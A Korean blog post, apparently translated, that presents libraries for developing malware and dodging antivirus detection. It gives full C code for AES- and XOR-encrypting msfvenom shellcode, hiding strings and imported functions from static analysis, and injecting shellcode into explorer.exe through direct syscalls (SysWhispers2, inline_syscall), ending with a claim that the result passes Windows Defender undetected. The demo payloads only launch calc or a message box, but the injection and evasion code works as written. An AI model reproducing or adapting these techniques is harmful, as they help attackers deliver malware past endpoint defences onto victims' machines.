[Translation] 악성코드 개발에 유용한 라이브러리들
안녕하세요. idioth입니다. 원래 작성하려 했던 게시글은 이 주제가 아닌데 부득이하게 몸이 안 좋아서 번역 글로 대체합니다. Malware라는 글자만 보면 무작위 하게 글을 수집하는 버릇이 이럴 때 좋네요. 아무튼 이번에 가져온 게시글은 악성코드 개발 시 유용한 라이브러리들에 대한 소개입니다. 오랜만에 진행하는 번역 글이라 의역 및 오역이 많을 수 있습니다. 피드백은 언제나 환영입니다. :)
초심자가 시간을 절약하고 싶고 바로 동작하는 프로그램을 원하면 라이브러리를 사용하여 개발하는 것이 좋다.
이 게시글에서 필자가 악성코드를 개발하는 동안 찾은 유용하고 쉽게 사용할 수 있는 라이브러리 몇 가지를 공유할 것이다.
tiny-AES-c
악성코드를 작성할 때 shellcode는 반드시 암호화해야 한다. 그렇지 않으면 정적 분석에 악성코드가 탐지될 것이다. 추천하는 shellcode 암호화 방식 중 하나는 AES를 사용하는 것이며 kokke/tiny-AES-c 라이브러리를 사용하면 쉽게 구현이 가능하다.
이 라이브러리를 사용하려면 프로젝트에 아래의 헤더 파일과 소스 파일만 추가하면 된다.
CBC 모드를 사용한 AES 암호화 코드의 예제와 그 결과 값은 다음과 같다.
#include <Windows.h>
#include <stdio.h>
#include "lib/aes.hpp"
int main()
{
// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
SIZE_T shellcodeSize = sizeof(shellcode);
unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_encrypt_buffer(&ctx, shellcode, shellcodeSize);
printf("Encrypted buffer:\n");
for (int i = 0; i < shellcodeSize - 1; i++) {
printf("\\x%02x", shellcode[i]);
}
printf("\n");
}
암호화된 shellcode를 복호화하려면 AES_CBC_decrypt_buffer()
함수를 사용하면 된다.
그 외에 다른 AES 라이브러리도 몇 가지 있다.
skCrypter
skadro-official/skCrypter는 컴파일 시 user-mode와 kernel-mode 문자열 암호화 라이브러리다. 랜덤한 키를 통한 XOR 알고리즘을 사용하고 기본적인 XOR 브루트포싱을 막을 수 있다.
문자열 암호화/난독화는 악성코드의 일부를 숨기기 위해 수행된다. 일반적인 리버서에게 대항하기에는 도움이 조금밖에 되지 않지만, 문자열 난독화는 좋은 방법 중 하나이다.
아래의 코드는 GetModuleHandleA
와 GetProcAddress
를 통해 동적으로 NtDelayExecution
을 호출하여 “sleep” 루틴을 수행한다.
#include <Windows.h>
#include <stdio.h>
int main()
{
typedef NTSTATUS(WINAPI* pNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
pNtDelayExecution NtDelayExecution = (pNtDelayExecution)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDelayExecution");
int msDelaynumber = 10000;
LARGE_INTEGER delayInterval;
delayInterval.QuadPart = -10000 * msDelaynumber;
NtDelayExecution(FALSE, &delayInterval);
printf("Done!\n");
}
이 코드가 컴파일되면 바이너리에서 ntdll.dll
과 NtDelayExecution
문자열이 보인다.
OpenProcess
, VirtualAllocEx
, WriteProcessMemory
, CreateRemoteThread
의 조합처럼 악의적 의도로 함수를 사용하면 안티 바이러스 정적 분석에 탐지될 수 있다.
여기서 skadro-official/skCrypter를 사용하면 된다. skCrypter.h
헤더 파일을 import 하고, 난독화할 문자열에 skCrypt()
함수를 넣으면 된다.
아래 코드는 ntdll.dll
과 NtDelayExecution
문자열에 skCrypter.h
라이브러리를 사용한 예시이다.
#include <Windows.h>
#include <stdio.h>
#include "lib/skCrypter.h"
int main()
{
typedef NTSTATUS(WINAPI* pNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
pNtDelayExecution NtDelayExecution = (pNtDelayExecution)GetProcAddress(GetModuleHandleA(skCrypt("ntdll.dll")), skCrypt("NtDelayExecution"));
int msDelaynumber = 10000;
LARGE_INTEGER delayInterval;
delayInterval.QuadPart = -10000 * msDelaynumber;
NtDelayExecution(FALSE, &delayInterval);
printf("Done!\n");
}
바이너리에서 문자열을 찾을 수 없다.
이와 비슷한 기능을 하는 라이브러리는 다음과 같다. (필자는 사용하거나 테스트해보지 않았다.)
lazy_importer
바이너리에서 사용되는 WinAPI 함수들은 Import Address Table(IAT)에 기록된다. 대부분의 안티 바이러스 솔루션은 바이너리의 IAT를 읽고 위험하거나 악의적인 함수들의 존재를 확인한다.
#include <Windows.h>
int main()
{
PROCESS_INFORMATION pi;
STARTUPINFO si = { sizeof(si) };
CreateProcessW(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
이 코드를 컴파일하면 CreateProcessW
가 IAT에 기록되어 PEStudio의 blacklist에 표시된다.
이러한 부분은 JustasMasiulis/lazy_importer를 사용하여 쉽게 숨길 수 있다. lazy_importer.hpp
헤더 파일을 import 하고 LI_FN()
함수를 호출하면 끝이다.
#include <Windows.h>
#include "lib/lazy_importer.hpp"
int main()
{
PROCESS_INFORMATION pi;
STARTUPINFO si = { sizeof(si) };
LI_FN(CreateProcessW)(L"C:\\Windows\\System32\\notepad.exe", nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
*NOTE:
NULL
을nullptr
로 바꿔야 컴파일 에러가 발생하지 않음*
IAT를 다시 확인하면 CreateProcessW
함수가 사라진 걸 볼 수 있다.
이와 같은 기능을 하는 라이브러리는 다음과 같다:
SysWhisper2
AV/EDR 우회에 대해 공부한 적 있다면 syscall을 사용하는 것이 kernel-mode 탐지 우회에 잘 알려진 방법이라는 걸 알고 있을 거다(ex user-land hooking). syscall을 들어본 적 있다면 jthuraisamy/SysWhispers2에 대해 잘 알 거다.
사용법은 파일을 생성하는 데 사용할 “Nt*” 함수와 함께 파이썬 스크립트 syswhispers.py
를 실행하면 된다.
$ python3 syswhispers.py -f NtOpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtClose -o syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
Complete! Files written to:
syscalls.h
syscalls.c
syscallsstubs.asm
그 후 아래와 같이 하면 된다.
- 생성된 H/C/ASM 파일을 프로젝트 폴더에 복사
- Visual Studio에서 go to Project → Build Customizations, enable MASM
- Solution Explorer에서 .h와 .c/.asm 파일을 프로젝트에 추가한다.
- ASM 파일 속성에 들어가서 Item Type을 Microsoft Macro Assembler로 설정한다.
- 프로젝트 플랫폼을 x64로 설정한다. 32비트 프로젝트는 지원하지 않는다.
“Nt*” 함수는 아래처럼 사용할 수 있다.
#include <Windows.h>
#include "lib/syscalls.h"
int main(int argc, char* argv[])
{
// PID of explorer.exe
DWORD pid = 11256;
// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
SIZE_T shellcodeSize = sizeof(shellcode);
HANDLE hProcess;
OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
CLIENT_ID clientId = { (HANDLE)pid, NULL };
NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);
LPVOID baseAddress = NULL;
NtAllocateVirtualMemory(hProcess, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(hProcess, baseAddress, &shellcode, sizeof(shellcode), NULL);
HANDLE hThread;
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, 0, 0, 0, NULL);
NtClose(hProcess);
NtClose(hThread);
return 0;
}
이미 안티 바이러스에 시그니처가 등록되어 있다는 점이 이 툴의 단점이다.
x86 syscalls은, mai1zhi2/SysWhispers2_x86를 사용하면 됨.
inline_syscall
안티 바이러스에 탐지되는 것 말고도 jthuraisamy/SysWhispers2를 좋아하지 않는 이유는 새로운 “Nt*” 함수를 추가하거나 사용할 때 매번 툴을 재실행하여 파일을 재생성해야 하는 것 때문이다.
하지만 JustasMasiulis/inline_syscall이 이러한 이슈를 해결해주었다. 사용법은 아래의 헤더 파일을 import 하는 것이다.
INLINE_SYSCALL(function_pointer)
와 INLINE_SYSCALL_T(function_type)
매크로를 사용하기 전에 초기화 함수 jm::init_syscalls_list()
를 호출한다.
*NOTE: Visual Studio를 사용하면 Platform Tollset에서 `LLVM (clang-cl)을 사용해야 함.*
INLINE_SYSCALL
매크로를 사용한 예시 코드이다.
#include <Windows.h>
#include "lib/in_memory_init.hpp"
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
NTSTATUS NtOpenProcess(OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL);
NTSTATUS NtAllocateVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect);
NTSTATUS NtWriteVirtualMemory(IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
NTSTATUS NtCreateThreadEx(OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
NTSTATUS NtClose(IN HANDLE Handle);
int main(int argc, char* argv[])
{
jm::init_syscalls_list();
// PID of explorer.exe
DWORD pid = 4396;
// msfvenom --payload windows/x64/messagebox TEXT="Hello there." EXITFUNC=thread -f c
unsigned char shellcode[] = "\x9c\x28\xe1\x84\x90\x9f\x9f\x9f\x88\xb0\x60\x60\x60\x21\x31\x21\x30\x32\x31\x36\x28\x51\xb2\x05\x28\xeb\x32\x00\x5e\x28\xeb\x32\x78\x5e\x28\xeb\x32\x40\x5e\x28\xeb\x12\x30\x5e\x28\x6f\xd7\x2a\x2a\x2d\x51\xa9\x28\x51\xa0\xcc\x5c\x01\x1c\x62\x4c\x40\x21\xa1\xa9\x6d\x21\x61\xa1\x82\x8d\x32\x21\x31\x5e\x28\xeb\x32\x40\x5e\xeb\x22\x5c\x28\x61\xb0\x5e\xeb\xe0\xe8\x60\x60\x60\x28\xe5\xa0\x14\x0f\x28\x61\xb0\x30\x5e\xeb\x28\x78\x5e\x24\xeb\x20\x40\x29\x61\xb0\x83\x3c\x28\x9f\xa9\x5e\x21\xeb\x54\xe8\x28\x61\xb6\x2d\x51\xa9\x28\x51\xa0\xcc\x21\xa1\xa9\x6d\x21\x61\xa1\x58\x80\x15\x91\x5e\x2c\x63\x2c\x44\x68\x25\x59\xb1\x15\xb6\x38\x5e\x24\xeb\x20\x44\x29\x61\xb0\x06\x5e\x21\xeb\x6c\x28\x5e\x24\xeb\x20\x7c\x29\x61\xb0\x5e\x21\xeb\x64\xe8\x28\x61\xb0\x21\x38\x21\x38\x3e\x39\x3a\x21\x38\x21\x39\x21\x3a\x28\xe3\x8c\x40\x21\x32\x9f\x80\x38\x21\x39\x3a\x5e\x28\xeb\x72\x89\x29\x9f\x9f\x9f\x3d\x29\xa7\xa1\x60\x60\x60\x60\x5e\x28\xed\xf5\x7a\x61\x60\x60\x5e\x2c\xed\xe5\x47\x61\x60\x60\x28\x51\xa9\x21\xda\x25\xe3\x36\x67\x9f\xb5\xdb\x80\x7d\x4a\x6a\x21\xda\xc6\xf5\xdd\xfd\x9f\xb5\x28\xe3\xa4\x48\x5c\x66\x1c\x6a\xe0\x9b\x80\x15\x65\xdb\x27\x73\x12\x0f\x0a\x60\x39\x21\xe9\xba\x9f\xb5\x28\x05\x0c\x0c\x0f\x40\x14\x08\x05\x12\x05\x4e\x60\x2d\x05\x13\x13\x01\x07\x05\x22\x0f\x18\x60";
SIZE_T shellcodeSize = sizeof(shellcode);
// XOR-decrypt the shellcode
char key = '`';
for (int i = 0; i < sizeof(shellcode) - 1; i++) {
shellcode[i] = shellcode[i] ^ key;
}
HANDLE hProcess;
OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
CLIENT_ID clientId = { (HANDLE)pid, NULL };
INLINE_SYSCALL(NtOpenProcess)(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);
LPVOID baseAddress = NULL;
INLINE_SYSCALL(NtAllocateVirtualMemory)(hProcess, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
INLINE_SYSCALL(NtWriteVirtualMemory)(hProcess, baseAddress, &shellcode, sizeof(shellcode), NULL);
HANDLE hThread;
INLINE_SYSCALL(NtCreateThreadEx)(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, 0, 0, 0, NULL);
INLINE_SYSCALL(NtClose)(hProcess);
INLINE_SYSCALL(NtClose)(hThread);
return 0;
}
*NOTE: jthuraisamy/SysWhispers2와 다르게 필요한 구조체와 typedefs를 만들어야 함.*
*TIP: 필요한 구조체와 typedefs를 jthuraisamy/SysWhispers2를 사용하여 만들고, JustasMasiulis/inline_syscall를 통해 syscall을 사용하면 됨*
컴파일된 바이너리를 Windows Defender에서 테스트해보면, jthuraisamy/SysWhispers2로 바이너리를 생성했을 때와 달리 탐지되지 않는 것을 볼 수 있다.
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